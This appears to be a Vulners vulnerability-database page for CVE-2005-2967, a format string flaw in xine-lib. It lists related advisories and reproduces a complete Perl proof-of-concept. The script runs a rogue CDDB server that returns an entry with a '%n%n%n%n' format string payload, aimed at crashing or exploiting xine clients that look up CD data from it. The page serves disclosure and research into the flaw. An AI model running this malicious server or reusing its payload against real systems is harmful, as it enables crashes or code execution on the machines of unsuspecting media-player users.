| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| libxine -- format string vulnerability | 8 Oct 200500:00 | – | freebsd | |
| CAN-2005-2967 | 23 Feb 202417:53 | – | cve | |
| CVE-2005-2967 | 14 Oct 200504:00 | – | cve | |
| CVE-2005-2967 | 14 Oct 200504:00 | – | cvelist | |
| [SECURITY] [DSA 863-1] New xine-lib packages fix arbitrary code execution | 12 Oct 200503:48 | – | debian | |
| [SECURITY] [DSA 863-1] New xine-lib packages fix arbitrary code execution | 12 Oct 200503:48 | – | debian | |
| Debian DSA-863-1 : xine-lib - format string vulnerability | 19 Oct 200500:00 | – | nessus | |
| FreeBSD : libxine -- format string vulnerability (3bc5691e-38dd-11da-92f5-020039488e34) | 13 May 200600:00 | – | nessus | |
| GLSA-200510-08 : xine-lib: Format string vulnerability | 11 Oct 200500:00 | – | nessus | |
| Mandrake Linux Security Advisory : xine-lib (MDKSA-2005:180) | 19 Oct 200500:00 | – | nessus |
`#!/usr/bin/perl --
# xine-cddb-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.
use strict;
use IO::Socket;
$main::port = 8880;
$main::timeout = 5;
# *** SUBROUTINES ***
sub mysend($$)
{
my $file = shift;
my $str = shift;
print $file "$str\n";
print "SENT: $str\n";
} # sub mysend
sub myreceive($)
{
my $file = shift;
my $inp;
eval
{
local $SIG{ALRM} = sub { die "alarm\n" };
alarm $main::timeout;
$inp = <$file>;
alarm 0;
};
if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; }
$inp =~ tr/\015\012\000//d;
print "RECEIVED: $inp\n";
$inp;
} # sub myreceive
# *** MAIN PROGRAM ***
{
my $server = IO::Socket::INET->new( Proto => 'tcp',
LocalPort => $main::port,
Listen => SOMAXCONN,
Reuse => 1);
die "can't set up server!\n" unless $server;
while (my $client = $server->accept())
{
$client->autoflush(1);
print 'connection from '.$client->peerhost."\n";
mysend($client, '201 metaur CDDBP server v1.5PL2 ready at '.
scalar localtime);
while (my $str = myreceive($client))
{
if ($str =~ m/^cddb hello ([^ ]+) ([^ ]+) (.+)$/i)
{
mysend($client, "200 Hello and welcome $1\@$2 running $3.");
next;
}
if ($str =~ m/^proto (\d+)$/i)
{
mysend($client, "201 OK, CDDB protocol level now: $1");
next;
}
if ($str =~ m/^cddb query ([0-9a-f]+)/i)
{
mysend($client, "200 rock $1 Exploiters / Formatted and Stringed");
next;
}
if ($str =~ m/^cddb read ([a-z]+) ([0-9a-f]+)/i)
{
my $docum = <<HERE;
210 $1 $2 CD database entry follows (until terminating \`.')
# %n%n%n%n
DISCID=$2
DTITLE=Exploiters / Formatted and Stringed
DYEAR=2005
DGENRE=Rock
TTITLE0=Format
TTITLE1=String
TTITLE2=Bug
EXTD= YEAR: 2005
EXTT0=
EXTT1=
EXTT2=
PLAYORDER=
.
HERE
$docum =~ s|\s+$||s;
mysend($client, $docum);
next;
}
if ($str =~ m/^quit$/i)
{
mysend($client, '230 metaur Closing connection. Goodbye.');
last;
}
mysend($client, '500 Unrecognized command.');
} # while str=myreceive(client)
close $client;
print "closed\n\n\n";
} # while client=server->accept()
}
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation